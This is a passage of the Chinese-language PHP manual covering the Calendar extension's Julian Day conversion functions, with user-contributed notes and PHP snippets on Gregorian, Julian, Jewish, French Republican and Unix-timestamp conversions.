    echo date('d-M-Y', $holiday) . '<br>';
}
?>
ian at eiloart dot com-NOSPAM 19-Nov-2001 11:43
Also, be aware that the eastern orthodox churches sometimes have different dates for easter. See, for example <http://webexhibits.org/calendars/calendar-christian-easter.html>. And note that the dates of easter a subject to change,  for example, the churches might some day decide to unify the dates.


从法国共和历日期转换为儒略日数

  • ? easter_days
  • gregoriantojd ?
  • PHP Manual
  • Calendar 函数
  • 从法国共和历日期转换为儒略日数

frenchtojd

(PHP 4, PHP 5, PHP 7, PHP 8)

frenchtojd — 从法国共和历日期转换为儒略日数

说明

frenchtojd(int $month, int $day, int $year): int

从法国历日期转换为儒略日数。

该函数仅转换第 1 年到第 14 年之间的日期（公历 1792 年 9 月 22 日到 1806 年 9 月 22 日）。 这涵盖并且超出了这个历法实际上采用的时间。

参数

month

月份的范围是 1 （Vendémiaire）到 13（每年年底的 5 到 6 天）之间的数字。

day

天的范围是 1 到 30 之间的数字

year

年份的范围是 1 到 14 之间的数字

返回值

指定法国共和历日期的 int 类型儒略日数。

参见

  • jdtofrench() - 从儒略日数转换为法国共和历
  • cal_to_jd() - 从支持的历法转换为儒略日数

User Contributed Notes

There are no user contributed notes for this page.


将公历日期转为儒略日数

  • ? frenchtojd
  • jddayofweek ?
  • PHP Manual
  • Calendar 函数
  • 将公历日期转为儒略日数

gregoriantojd

(PHP 4, PHP 5, PHP 7, PHP 8)

gregoriantojd — 将公历日期转为儒略日数

说明

gregoriantojd(int $month, int $day, int $year): int

公历的有效范围是从公元前 4714 年 11 月 25 日开始。至少到公元 9999 年 12 月 31 日

虽然这个函数可以处理追溯到公元前 4714 年以前的日期，但这样做可能没有意义。公历直到 1582 年 10 年 15 日（或是儒略历 1582 年 10 月 5 日）才被发明，一些国家直到很久以后才接受它。比如，英国是在 1752 年开始使用公历，苏联是在 1918 年，希腊是在 1923 年，大部分的欧洲国家在公历前使用儒略历。

参数

month

月份的范围是 1（January）到 12（December）之间的数字。

day

天的范围是 1 到 31 之间的数字。如果该月的天数小于指定的天数， 则会发生溢出。请参考下面的示例。

year

年份的范围是 -4714 到 9999 之间的数字。负数表示公元前，正数表示公元。注意没有公元 0 年，公元前 1 年 12 月 31 日紧跟其后的是公元 1 年 1 月 1 日。

返回值

int 类型的指定公历日期的儒略日。日期超出范围值返回 0。

示例

Example #1 历法函数

<?php
$jd = gregoriantojd(10, 11, 1970);
echo "$jd\n";
$gregorian = jdtogregorian($jd);
echo "$gregorian\n";
?>

以上示例会输出：

2440871
10/11/1970

Example #2 溢出行为

<?php
echo gregoriantojd(2, 31, 2018), PHP_EOL,
gregoriantojd(3, 3, 2018), PHP_EOL;
?>

以上示例会输出：

2458181
2458181

参见

  • jdtogregorian() - 将儒略日数转换为公历日期
  • cal_to_jd() - 从支持的历法转换为儒略日数

User Contributed Notes

jfg 07-Apr-2009 01:19
If you need the same output as the g_date_get_julian function of the GlibC, here is my php implementation :

<?php
    /**
     * Glib g_date_get_julian PHP implementation
     *
     * @param  $str  Date string in a format accepted by strtotime
     * @author jfg
     */
    private function _get_julian( $str )
    {
        $d = date_create($str);

        if( $d == false )
            return 0;

        $day_in_year = (int) date_format($d, "z");
        $year        = (int) date_format($d, "Y") - 1;
        $julian_days = $year * 365;
        $julian_days += ($year >>= 2);
        $julian_days -= ($year /= 25);
        $julian_days += $year >> 2;
        $julian_days += $day_in_year + 1;

        return ceil($julian_days);
    }

?>
jettyrat at jettyfishing dot com 17-Mar-2005 01:34
You can obtain the decimal fraction of the Julian date with the php gregoriantojd() function or the function shown below by applying this code to the returned value.

<?php
  $julianDate = gregoriantojd($month, $day, $year);

  //correct for half-day offset
  $dayfrac = date('G') / 24 - .5;
  if ($dayfrac < 0) $dayfrac += 1;

  //now set the fraction of a day
  $frac = $dayfrac + (date('i') + date('s') / 60) / 60 / 24;

  $julianDate = $julianDate + $frac;
?>
httpwebwitch 08-Jun-2004 04:04
This function also ignores decimal fractions in JD dates, and it uses non-standard format for returning the Gregorian date.

So, if your JD date is 2453056.28673, the Gregorian returned value is 2/20/2004, not "2004-02-20 23:45:36"

The decimal part is important, since the Julian day begins at noon, for example 2453056.49 is on Friday, 2453056.50 is on Saturday. Discarding the decimal part means that your returned Gregorian Date will be wrong 50% of the time.


返回星期几

  • ? gregoriantojd
  • jdmonthname ?
  • PHP Manual
  • Calendar 函数
  • 返回星期几

jddayofweek

(PHP 4, PHP 5, PHP 7, PHP 8)

jddayofweek — 返回星期几

说明

jddayofweek(int $julian_day, int $mode = CAL_DOW_DAYNO): int|string

返回星期几，根据模式不同返回 string 或 int。

参数

julian_day

int 类型的儒略日数

mode
历法星期模式
模式 | 含义
0 (默认) | 返回 int 类型的星期几（0 = Sunday， 1 = Monday，等等）
1 | 以英文返回公历形式的 string 类型的星期几
2 | 以英文返回公历形式的 string 类型的星期几缩写

返回值

int 或 string 类型的公历星期几。

User Contributed Notes

phimuskapsi at gmail dot com 24-Aug-2020 07:16
When using mode 1 or 2, the number returned will NOT match mode 0.

jddayofweek(0, 1) = 'Monday' not 'Sunday' as expected.

This can cause discordance between the UI and the value saved.
kevind at communitycolor dot com 03-Mar-2017 08:24
You need to check to see how your client wants to represent the day of week. This function returns 0 for Sundays. ISO 8601 uses 7 for Sundays.

BTW, You can also calculate the day of week with modular division:

$dow = (1 + $julianday) % 7; // returns 0 for Sundays.
$dow = ($julianday % 7) + 1; // returns 7 for Sundays.

https://en.wikipedia.org/wiki/Julian_day#Finding_day_of_week_given_Julian_day_number

To make matters confusing. The Julian Date starts at noon UTC. Some programs such as SQLITE3 use real numbers to record date and time. If you pass this function a float; it will return a different day of week for the morning than for the afternoon.

When given a julianday with a decimal part you will need to add a half day and may need further adjustment for your timezone.


返回月份名称

  • ? jddayofweek
  • jdtofrench ?
  • PHP Manual
  • Calendar 函数
  • 返回月份名称

jdmonthname

(PHP 4, PHP 5, PHP 7, PHP 8)

jdmonthname — 返回月份名称

说明

jdmonthname(int $julian_day, int $mode): string

返回 string 类型的月份名称，mode 告诉此函数要将儒略历转化为哪个历法以及哪个类型的月份名称。

历法模式
模式 | 含义 | 值
CAL_MONTH_GREGORIAN_SHORT | 公历 - 缩写 | Jan, Feb, Mar, Apr, May, Jun, Jul, Aug, Sep, Oct, Nov, Dec
CAL_MONTH_GREGORIAN_LONG | 公历 | January, February, March, April, May, June, July, August, September, October, November, December
CAL_MONTH_JULIAN_SHORT | 儒略历 - 缩写 | Jan, Feb, Mar, Apr, May, Jun, Jul, Aug, Sep, Oct, Nov, Dec
CAL_MONTH_JULIAN_LONG | 儒略历 | January, February, March, April, May, June, July, August, September, October, November, December
CAL_MONTH_JEWISH | 犹太历 | Tishri, Heshvan, Kislev, Tevet, Shevat, Adar, Adar I, Adar II, Nisan, Iyyar, Sivan, Tammuz, Av, Elul
CAL_MONTH_FRENCH | 法国历 | Vendemiaire, Brumaire, Frimaire, Nivose, Pluviose, Ventose, Germinal, Floreal, Prairial, Messidor, Thermidor, Fructidor, Extra

参数

jday

用来计算的儒略日

mode

历法模式（见上表）。

返回值

指定的儒略日和 mode 的月份的名称。

User Contributed Notes

marc at linkitdesign dot com 15-Jun-2013 01:58
Regarding the jewish date system. It may be worth noting the following peculiarities, some obvious some not so.
1. Jewish days start at sunset NOT midnight so when converting from a Gregorian date to a Jewish one it might be worth asking if the date/time occurred 'after sunset'.
2. Jewish leap years follow a 19 year cycle which can be calculated like this:
function isJLeapYear($JYear) {
    if ( ((7 * $JYear + 1) % 19) < 7 )
        return true;
    else
        return false;
}
3. During a leap year a new leap-month called "Adar I" is inserted BEFORE the normal month of Adar.
4. During leap years, Adar is renamed "Adar II".
5. Adar/Adar II has 29 days
6. Adar I has 30 days
7. Cheshvan & Kislev have between 29 & 30 Days
8. Leap years have between 383 and 385 days.
8. non-leap years have between 353 and 355 days.
9 . In a 354-day year, months have alternating 30 and 29 day lengths.
10. In a 353-day year, the month of Kislev is reduced to 29 days.
11. In a 355-day year, the month of Cheshvan is increased to 30 days.
12. Leap years years follow the same pattern, with the addition of the 30-day Adar I as well.


从儒略日数转换为法国共和历

  • ? jdmonthname
  • jdtogregorian ?
  • PHP Manual
  • Calendar 函数
  • 从儒略日数转换为法国共和历

jdtofrench

(PHP 4, PHP 5, PHP 7, PHP 8)

jdtofrench — 从儒略日数转换为法国共和历

说明

jdtofrench(int $julian_day): string

从儒略日数转换为法国共和历。

参数

julian_day

int 类型的儒略日数

返回值

string 类型，"月/日/年"格式的法国共和历日期

参见

  • frenchtojd() - 从法国共和历日期转换为儒略日数
  • cal_from_jd() - 从儒略日数转换为支持的历法

User Contributed Notes

popy-dev 06-Mar-2018 10:45
Also note that there are few date converters handling French calendar outside the jdtofrench covered range.
pieterc dot depraetere at ugent dot be 10-Mar-2010 02:04
If you want to convert a date later than September 22nd 1806, you could use this function. It's a bit crude and due to the fact the original function terminates in the middle of 1806, it uses 1805 as it's 'terminus post quem'.
<?php
function extended_jdtofrench ($juliandate) {
    if ($juliandate > 2380945) {
        // jdtofrench () only accepts dates until september 1806
        $gregorian_date = jdtogregorian ($juliandate);
        $temp = explode ('/', $gregorian_date);
        $year = $temp[2];
        $juliandate = gregoriantojd ($temp[0], $temp[1], 1805);
        $republican_date = jdtofrench ($juliandate);
        $republican_date = explode ('/', $republican_date);
        $diff = $year - 1805;
        $republican_date[2] = $republican_date[2] + $diff;
    } else {
        $republican_date = jdtofrench ($juliandate);
    }
    return $republican_date;
}
?>
squenz at titania dot bottoms-dream dot de 06-Apr-2006 08:25
Here is a small piece of code to obtain the string data for a correctly converted gregorian date:

<?php
$arDateFrench = gregorian2FrenchDateArray(11, 9, 1799) ;

echo $arDateFrench[1] . " " . $arDateFrench[0] . " " . $arDateFrench[2] ;

/* the output will be:
    18 Brumaire VIII

*/

function gregorian2FrenchDateArray($m, $d, $y)
{

    $julian_date = gregoriantojd($m, $d, $y);
    $french = jdtofrench($julian_date);
    if($french == "0/0/0")
        return "" ;

    $arD = split("/", $french) ;

    // get the month name
    $monthname = FrenchMonthNames($arD[0]) ;

    /* convert the year number to roman digits (as most historians do and documents of the time did */
    $stryear = decrom($arD[2]) ;
    return array($monthname, $arD[1], $stryear ) ;
}

function FrenchMonthNames($mo)
{
    /* The names have been invented by Fabre d'églantine, a second or rather third rank poet
of primarily pastoral poems, with each name referring to the respective period in the agricultural year; e.g. "Vendémiaire" (approx. September) is derived from "vendange" ("harvest"), "Brumaire" (Ocotober/November) from "brume" ("fog") and so on ...     */

    $arMo = array("Vendémiaire",
                      "Brumaire",
                      "Frimaire",
                      "Niv?se",
                      "Pluvi?se",
                      "Vent?se",
                      "Germinal",
                      "Floréal",
                      "Prairial",
                      "Messidor",
                      "Thermidor",
                      "Fructidor",
                      "Sansculottide") ;

    if($mo < count($arMo)+1)
        return $arMo[$mo-1] ;

}

function decrom($dec){
       $digits=array(
           1 => "I",
           4 => "IV",
           5 => "V",
           9 => "IX",
           10 => "X",
           40 => "XL",
           50 => "L",
           90 => "XC",
           100 => "C",
           400 => "CD",
           500 => "D",
           900 => "CM",
           1000 => "M"
       );
       krsort($digits);
       $retval="";
       foreach($digits as $key => $value){
           while($dec>=$key){
               $dec-=$key;
               $retval.=$value;
           }
       }
       return $retval;
}
?>
serged at noos dot fr 28-Oct-2003 09:00
Very limited function:

(extract from source of 4.3.3)
These routines only convert dates in years 1 through 14 (Gregorian dates 22 September 1792 through 22 September 1806).  This more than  covers the period when the calendar was in use.

Pour les fran?ais :
Ces routines ne converitssent les dates que de l'an 1 ? 14 (du 22 septembre 1792 au 22 septembre 1806). Cela couvre plus que la p?riode pendant laquelle le calendrier ? ?t? utilis?.


将儒略日数转换为公历日期

  • ? jdtofrench
  • jdtojewish ?
  • PHP Manual
  • Calendar 函数
  • 将儒略日数转换为公历日期

jdtogregorian

(PHP 4, PHP 5, PHP 7, PHP 8)

jdtogregorian — 将儒略日数转换为公历日期

说明

jdtogregorian(int $julian_day): string

将儒略日数转换为"月/日/年"格式，string 类型的公历日期。

参数

julian_day

int 类型的儒略日数

返回值

格式为 "月/日/年"，string 类型的公历日期

参见

  • gregoriantojd() - 将公历日期转为儒略日数
  • cal_from_jd() - 从儒略日数转换为支持的历法

User Contributed Notes

ashton at ieee dot org 18-Sep-2016 08:08
The minimum acceptable input Julian day count is 1, which produces an output of "11/25/-4714" (at least in my operating system and location) which means 25 November 4714 BC. PHP does not recognize the year 0. Astronomers do use the year 0, and would write the Gregorian date that corresponds to Julian day number 1 as 25 November -4713.
swiles at ddbc dot edu dot tw 25-Jan-2009 09:34
The php gregoriantojd() and jdtogregorian() functions, in addition to the limitations noted by httpwebwitch, does not take account of the 'Astronomical' system of reckoning - i.e. using a year zero, instead of going directly from 1BCE to 1CE, as with the Christian Anno Domini system.

These functions can be used to wrap the php built-ins to return ISO 8601 compliant dates:

<?php
function ISO8601toJD($ceDate) {
    list($day, $month, $year) = array_map('strrev',explode('-', strrev($ceDate), 3));
    if ($year <= 0) $year--;
    return gregoriantojd($month, $day, $year);
}

function JDtoISO8601($JD) {
    if ($JD <= 1721425) $JD += 365;
    list($month, $day, $year) = explode('/', jdtogregorian($JD));
    return sprintf('%+05d-%02d-%02d', $year, $month, $day);
}
?>
httpwebwitch 22-Jun-2004 10:37
JD days may have decimal fractions which correspond to the time of day. The Julian day begins at noon, and the decimal fraction measures fractional days until the beginning of the next day at noon.

For instance, Julian Day 2453179.00000 is June 22, 2004, at 12:00pm (noon).

One hour later, it's 2453179.04167
At 2453179.20833 I'll have dinner, and
at 2453179.45833, it's time for the evening news.
After a good night of sleep, my alarm will go off at 2453179.83333,
then at noon on June 23, a new Julian Day begins at 2453180.

To use these functions with fractional days, strip the fractional part with floor(), and apply the function to the integer part.

Then add 12 hours, bringing you to noon of that day. That is the actual time returned by JDToGregorian().

Then add the fractional part of the day, by multiplying the decimal part of the Julian Day by (24*60*60) seconds. This may take you forward or backward to a different Gregorian calendar date.
uni_fl4r3 at t hotmail dot com 14-Sep-2003 08:05
I have made a slight modification to treebe's jd to greg function, this one will transform a unix timestamp to Gregorian day/month/year format...

<?php
function unix_to_greg($unix_timestamp) {
    $julian = floor(((($unix_timestamp / "60") / "60") / "24") + "2440588");
    $julian = $julian - 1721119;
    $calc1 = 4 * $julian - 1;
    $year = floor($calc1 / 146097);
    $julian = floor($calc1 - 146097 * $year);
    $day = floor($julian / 4);
    $calc2 = 4 * $day + 3;
    $julian = floor($calc2 / 1461);
    $day = $calc2 - 1461 * $julian;
    $day = floor(($day + 4) / 4);
    $calc3 = 5 * $day - 3;
    $month = floor($calc3 / 153);
    $day = $calc3 - 153 * $month;
    $day = floor(($day + 5) / 5);
    $year = 100 * $year + $julian;

    if ($month < 10)
    {
        $month = $month + 3;
    }else{
        $month = $month - 9;
        $year = $year + 1;
    }
    return "$day.$month.$year";
}
?>
treebe 31-May-2003 05:01
Julian to Gregorian date change.
If you do not have the calendar extensions loaded this is little function works realy well.

<?php
function jd_to_greg($julian) {
    $julian = $julian - 1721119;
    $calc1 = 4 * $julian - 1;
    $year = floor($calc1 / 146097);
    $julian = floor($calc1 - 146097 * $year);
    $day = floor($julian / 4);
    $calc2 = 4 * $day + 3;
    $julian = floor($calc2 / 1461);
    $day = $calc2 - 1461 * $julian;
    $day = floor(($day + 4) / 4);
    $calc3 = 5 * $day - 3;
    $month = floor($calc3 / 153);
    $day = $calc3 - 153 * $month;
    $day = floor(($day + 5) / 5);
    $year = 100 * $year + $julian;

    if ($month < 10) {
        $month = $month + 3;
    }
    else {
        $month = $month - 9;
        $year = $year + 1;
    }
    return "$day.$month.$year";
}
?>


将儒略日数转换为犹太历日期

  • ? jdtogregorian
  • jdtojulian ?
  • PHP Manual
  • Calendar 函数
  • 将儒略日数转换为犹太历日期

jdtojewish

(PHP 4, PHP 5, PHP 7, PHP 8)

jdtojewish — 将儒略日数转换为犹太历日期

说明

jdtojewish(int $julian_day, bool $hebrew = false, int $flags = 0): string

儒略日数转为犹太历日期。

参数

julian_day

int 类型的儒略日数。

hebrew

如果参数 hebrew 设置为 true，参数 flags 可用于希伯莱语、基于 ISO-8859-8 字符串编码格式的输出。

flags

可能由 CAL_JEWISH_ADD_ALAFIM_GERESH、 CAL_JEWISH_ADD_ALAFIM、 CAL_JEWISH_ADD_GERESHAYIM 组成的位掩码。

返回值

根据 hebrew 参数返回格式为"月/日/年"的犹太日期或者 ISO-8859-8 编码的希伯来日期字符串。

示例

Example #1 jdtojewish() 示例

<?php
$jd = gregoriantojd(10, 8, 2002);
echo jdtojewish($jd, true), PHP_EOL,
jdtojewish($jd, true, CAL_JEWISH_ADD_GERESHAYIM), PHP_EOL,
jdtojewish($jd, true, CAL_JEWISH_ADD_ALAFIM), PHP_EOL,
jdtojewish($jd, true,CAL_JEWISH_ADD_ALAFIM_GERESH), PHP_EOL;

以上示例会输出：

? ???? ?????
?' ???? ????"?
? ???? ? ????? ????
? ???? ?'????

参见

  • jewishtojd() - 将犹太历日期转换为儒略日数
  • cal_from_jd() - 从儒略日数转换为支持的历法

User Contributed Notes

Sergio Z 03-Feb-2022 08:07
To check if a Jewish year is leap use this function:

function isJewishLeapYear($year) {
    return 0 != cal_days_in_month(CAL_JEWISH, 6, $year);
}

In non-leap years there is only one Adar, and its number is 7. There is no 6.
Berel 23-Jan-2020 04:59
If you wish to format the hebrew date as this (ignore the brackets): [?"? ???? ?'???"?], since none of the 3 bitmasks include this format, you can use the CAL_JEWISH_ADD_GERESHAYIM mask, and then insert the ' into the year with the second line, as shown:

$hebdate = jdtojewish(gregoriantojd(6,14,2015),1,CAL_JEWISH_ADD_GERESHAYIM);
$hebdate = substr_replace($hebdate,"'",strrpos($hebdate," ")+2,0);
WWW dot netfree at gmail dot com 04-May-2019 08:24
Check whether the year is leap year, in order to determine whether the value 7 = Adar or Adar 2

<?php

$hebrewDate = jdtojewish(gregoriantojd(date('m', $DateStamp), date('d', $DateStamp), date('Y', $DateStamp)));
list($hebrewMonth, $hebrewDay, $hebrewYear) = explode('/',$hebrewDate);

$m = array(3, 6, 8, 11, 14, 17, 19);
$meuberet = in_array(($hebrewYear % 19), $m);
if($meuberet) if($hebrewMonth == 7) $hebrewMonth = '7b'; //This is Adar 2
eclipsechasers2 at yahoo dot com 06-Jan-2015 12:34
With PHP 5.5, the functionality changed regarding Adar in a non-leap year. Prior to 5.5, the month was returned as 6. In 5.5 and 5.6, the month is returned as 7. This difference is not listed under "What has changed in PHP 5.5.x".
adam at tadam dot co dot il 23-Mar-2012 09:57
<?php
// Hebrew date in hebrew
$str = jdtojewish(gregoriantojd( date('m'), date('d'), date('Y')), true, CAL_JEWISH_ADD_GERESHAYIM + CAL_JEWISH_ADD_ALAFIM + CAL_JEWISH_ADD_ALAFIM_GERESH); // for today
$str1 = iconv ('WINDOWS-1255', 'UTF-8', $str); // convert to utf-8

echo $str1; // for 23/03/2012 will print: ?"? ??? ?' ????? ???"?

// or
$str = jdtojewish(gregoriantojd( date('m'), date('d'), date('Y')), true, CAL_JEWISH_ADD_GERESHAYIM); // for today
$str1 = iconv ('WINDOWS-1255', 'UTF-8', $str); // convert to utf-8

echo $str1; // for 23/03/2012 will print: ?"? ??? ????"?
?>
erelsgl at gmail dot com 29-Aug-2009 03:28
Sometimes it is useful to have the date in the format YYYY-MM-DD, which is sortable (e.g. you can sort dates by sorting the strings):

<?php
function JDToSortableJewish($jd) {
    return
        preg_replace("|(\d+)/(\d+)/(\d+)|","$3-$1-$2",  // year-month-day
        preg_replace("|/(\d)/|","/0$1/", // add zeros to the day
        preg_replace("|^(\d)/|","0$1/",  // add zeros to the month
        JDToJewish($jd))));
}
?>
erelsgl at gmail dot com 29-Aug-2009 02:01
In Hebrew leap years, the function will return 6 for Adar A, 7 for Adar B, 8 for Nisan, etc.

In Hebrew non-leap years, the function will return 6 for Adar, 8 for Nisan, etc.

i.e., the "real" Adar is Adar A.
asphp at dsgml dot com 28-May-2007 02:10
This function outputs in ISO-8859-8-l.

To convert to unicode UTF-8 do this:

<?php

echo mb_convert_encoding( jdtojewish( unixtojd(), true ), "UTF-8", "ISO-8859-8");

?>
gr8g0thamguy at yahoo dot com 01-Sep-2003 11:39
Based on the code already posted by Dave, I've modified it to display the *current* date on a page:

<?php

$gregorianMonth = date(n);
$gregorianDay = date(j);
$gregorianYear = date(Y);

$jdDate = gregoriantojd($gregorianMonth,$gregorianDay,$gregorianYear);

$hebrewMonthName = jdmonthname($jdDate,4);

$hebrewDate = jdtojewish($jdDate);

list($hebrewMonth, $hebrewDay, $hebrewYear) = split('/',$hebrewDate);

echo "$hebrewDay $hebrewMonthName $hebrewYear";
?>
dave_at_mitzvahweb.com 04-Mar-2002 04:04
There's probably a simpler way to do this, but I needed to convert a Gregorian date to a Hebrew one and display it with the Hebrew month name (not the number).

Perhaps it can help somebody...

<?php

//enter your Gregorian date with the variables $gregorianMonth, $gregorianDay, and $gregorianYear using the numerical representation of the month

$jdDate = gregoriantojd ( $gregorianMonth, $gregorianDay, $gregorianYear);

$gregorianMonthName = jdmonthname ( $jdDate, 1 );

$hebrewDate = jdtojewish ($jdDate);

list ($hebrewMonth, $hebrewDay, $hebrewYear) = split ('/', $hebrewDate);

$hebrewMonthName = jdmonthname ( $jdDate, 4);

 echo "Your date in Hebrew would read: $hebrewDay $hebrewMonthName $hebrewYear";

?>


将儒略日数转换为儒略历日期

  • ? jdtojewish
  • jdtounix ?
  • PHP Manual
  • Calendar 函数
  • 将儒略日数转换为儒略历日期

jdtojulian

(PHP 4, PHP 5, PHP 7, PHP 8)

jdtojulian — 将儒略日数转换为儒略历日期

说明

jdtojulian(int $julian_day): string

将儒略日数转换成格式为"月/日/年"，string 类型的儒略历日期。

参数

julian_day

int 类型的儒略日数

返回值

"月/日/年"格式，string 类型的儒略日期

参见

  • juliantojd() - 儒略日期转为儒略日数
  • cal_from_jd() - 从儒略日数转换为支持的历法

User Contributed Notes

There are no user contributed notes for this page.


将儒略日数转换为 Unix 时间戳

  • ? jdtojulian
  • jewishtojd ?
  • PHP Manual
  • Calendar 函数
  • 将儒略日数转换为 Unix 时间戳

jdtounix

(PHP 4, PHP 5, PHP 7, PHP 8)

jdtounix — 将儒略日数转换为 Unix 时间戳

说明

jdtounix(int $julian_day): int

这个函数将返回与 julian_day 给出的儒略日相对应的 Unix 时间戳。返回的时间是 UTC。

参数

julian_day

儒略日数在 64 位系统上是 2440588 到 106751993607888 之间的数字，在 32 位系统上是 2440588 到 2465443 之间的数字。

返回值

指定儒略日的开始时（午夜，而非中午）的 unix 时间戳。

错误／异常

julian_day 超出允许的范围值，抛出 ValueError。

更新日志

版本 | 说明
8.0.0 | 此函数在失败时不再返回 false，而是引发 ValueError。
7.3.24, 7.4.12 | 扩充了 julian_day 的上限。以前无论计算机体系结构如何，都是 2465342。

参见

  • unixtojd() - 将 Unix 时间戳转换为儒略日数

User Contributed Notes

Saeed Hubaishan 22-Oct-2014 06:11
unixtojd() assumes that your timestamp is in GMT, but jdtounix() returns a timestamp in localtime.
so
<?php
$d1=jdtogregorian(unixtojd(time()));
$d2= gmdate("m/d/Y");
$d3=date("m/d/Y");
?>
$d1 always equals $d2 but $d1 may differ from $d3
fabio at llgp dot org 31-Aug-2006 02:14
If you need an easy way to convert a decimal julian day to an unix timestamp you can use:

$unixTimeStamp = ($julianDay - 2440587.5) * 86400;

2440587.5 is the julian day at 1/1/1970 0:00 UTC
86400 is the number of seconds in a day
27-Jan-2005 06:50
Warning: the calender functions involving julian day operations seem to ignore the decimal part of the julian day count.

This means that the returned date is wrong 50% of the time, since a julian day starts at decimal .5 .  Take care!!
seb at carbonauts dot com 21-Oct-2003 12:10
Remember that unixtojd() assumes your timestamp is in GMT, but jdtounix() returns a timestamp in localtime.

This fooled me a few times.

So if you have:

$timestamp1 = time();
$timestamp2 = jdtounix(unixtojd($timestamp1));

Unless your localtime is the same as GMT, $timestamp1 will not equal $timestamp2.
pipian at pipian dot com 12-Jun-2003 09:29
Remember that UNIX timestamps indicate a number of seconds from midnight of January 1, 1970 on the Gregorian calendar, not the Julian Calendar.


将犹太历日期转换为儒略日数

  • ? jdtounix
  • juliantojd ?
  • PHP Manual
  • Calendar 函数
  • 将犹太历日期转换为儒略日数

jewishtojd

(PHP 4, PHP 5, PHP 7, PHP 8)

jewishtojd — 将犹太历日期转换为儒略日数

说明

jewishtojd(int $month, int $day, int $year): int

尽管这个函数可以处理元年（公元前 3761 年）以前的年份，但这样做可能没有意义。 犹太历被用了几千年，但早期的时候一个月的开始没有固定的准则，通常是观察到一个新月后定为一个月份的开始。

参数

month

月份为 1 到 13 之间的数字， 1 代表 Tishri， 13 代表 Elul， 6 和 7 代表平年中的 Adar，但在闰年则分别代表 Adar I 和 Adar II。

day

天数为 1 到 30 之间的数字。如果这个月只有 29 天，则假设第 30 天为下个月的第一天。

year

年份为 1 到 9999 之间的数字

返回值

指定犹太历日期所对应的 int 类型的儒略日。

参见

  • jdtojewish() - 将儒略日数转换为犹太历日期
  • cal_to_jd() - 从支持的历法转换为儒略日数

User Contributed Notes

There are no user contributed notes for this page.


儒略日期转为儒略日数

  • ? jewishtojd
  • unixtojd ?
  • PHP Manual
  • Calendar 函数
  • 儒略日期转为儒略日数

juliantojd

(PHP 4, PHP 5, PHP 7, PHP 8)

juliantojd — 儒略日期转为儒略日数

说明

juliantojd(int $month, int $day, int $year): int

儒略历的有效年份为公元前 4713 年到公元 9999 年。

尽管这个函数也可以处理追溯到公元前 4713 年以前的日期，但这样做可能没有意义。此历法是在公元前 46 年创建，但是到了公元 8 年细节才稳定，也有可能是 4 晚期。此外，每年的开始也因为文化的不同，不是所有人都接受 January 为第一个月份。

Caution

记住，当今世界最广泛使用的历法系统是公历，函数 gregoriantojd() 可用于转换此类日期为儒略日数。

参数

month

月的范围是 1 (January) 到 12 ( December) 之间的数字。

day

天的范围是 1 到 31 之间的数字

year

年的范围是 -4713 到 9999 之间的数字

返回值

指定儒略日期所对应的 int 类型的儒略日。

参见

  • jdtojulian() - 将儒略日数转换为儒略历日期
  • cal_to_jd() - 从支持的历法转换为儒略日数

User Contributed Notes

Christian Kollross 11-Apr-2019 08:55
Warning to non-US users:
This function uses the US date notation (month, day, year), which is easily overlooked!
Anonymous 22-Jul-2017 07:30
I didn't even know this function existed.


将 Unix 时间戳转换为儒略日数

  • ? juliantojd
  • 日期/时间 ?
  • PHP Manual
  • Calendar 函数
  • 将 Unix 时间戳转换为儒略日数

unixtojd

(PHP 4, PHP 5, PHP 7, PHP 8)

unixtojd — 将 Unix 时间戳转换为儒略日数

说明

unixtojd(?int $timestamp = null): int|false

根据指定的 Unix timestamp （自 1970 年 1 月 1 日以来的秒数）返回儒略日数。如果没有指定时间戳则返回当前日期的儒略日数。 无论哪种方式，时间都被视为当地时间（不是 UTC）。

参数

timestamp

用于转换的 unix 时间戳。

返回值

int 类型的儒略日数， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | timestamp 现在可以为 null。

参见

  • jdtounix() - 将儒略日数转换为 Unix 时间戳

User Contributed Notes

hrabi at linuxwaves dot com 29-Mar-2007 06:02
according to http://www.decimaltime.hynes.net/dates.html#jd and reading "X. Calendar Functions" on this side, it seems that php "jd" is precisely mean as "Chronological Julian Day" (should it be named cjd, and primarily strictly mentioned - isn't it?), used for covnersion between calendar systems. Than it's ok (but Incomplete manual is strongly confusing here IMHO).
Even that, cJD is adjusted to a local time, so... I am rather babeled now, so nothing else :-).
hrabi at linuxwaves dot com 29-Mar-2007 03:33
This is unusable. Julian Day start at noon, not midnight. It's better to use Fabio solution (however there is a lurk problem with leap second).

<?php
function mmd($txt, $str_time) {
   $t = strtotime($str_time);
   $j = unixtojd($t);
   $s = gmstrftime('%D %T %Z', $t);
   $j_fabio = $t / 86400 + 2440587.5;

   printf("${txt} => (%s) %s, %s U, %s J, or %s J<br>\n", $str_time, $s, $t, $j, $j_fabio);
}

//$xt = strtotime("1.1.1970 15:00.00 GMT");
$sam = "9.10.1995 02:00.01 GMT";
$spm = "9.10.1995 22:00.01 GMT";

// unixtojd for $spm returns 2450000 (OK), but for $sam returns 2450000 too! (it is wrong).
mmd("am", $sam);  // should be 2449999 (+ 0.58334)
mmd("pm", $spm);  // should be 2450000 (+ 0.41668)
?>

reference
unix time, and UTC, TAI, ntp, ... problems: http://en.wikipedia.org/wiki/Unix_time
Julian Date Converter: http://aa.usno.navy.mil/data/docs/JulianDate.html
history overview: http://parris.josh.com.au/humour/work/17Nov1858.shtml
fabio at llgp dot org 31-Aug-2006 02:09
If you need an easy way to convert an unix timestamp to a decimal julian day you can use:

$julianDay = $unixTimeStamp / 86400 + 2440587.5;

86400 is the number of seconds in a day;
2440587.5 is the julian day at 1/1/1970 0:00 UTC.
10-Aug-2006 07:22
Its clearly stated that this function returns the Julian Day, not Julian Day + time.

If you want the time with it you will have to do something like:

$t=time();
$jd=unixtojd($t)+($t%60*60*24)/60*60*24;
johnston at capsaicin dot ca 19-Nov-2003 01:43
Also note that epoch is in UTC time (epoch is a specific point in time - epoch is not different for every time zone), so be aware of timezone complexities.


日期和时间

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 示例
    • 日期/时间算法
  • DateTime — DateTime 类
    • DateTime::add — 修改 DateTime 对象，增加天、月、年、小时、分钟以及秒的数量。
    • DateTime::__construct — 返回新的 DateTime 对象
    • DateTime::createFromFormat — 根据指定格式解析时间字符串
    • DateTime::createFromImmutable — Returns new DateTime instance encapsulating the given DateTimeImmutable object
    • DateTime::createFromInterface — Returns new DateTime object encapsulating the given DateTimeInterface object
    • DateTime::getLastErrors — 别名 DateTimeImmutable::getLastErrors
    • DateTime::modify — 修改日期时间对象的值
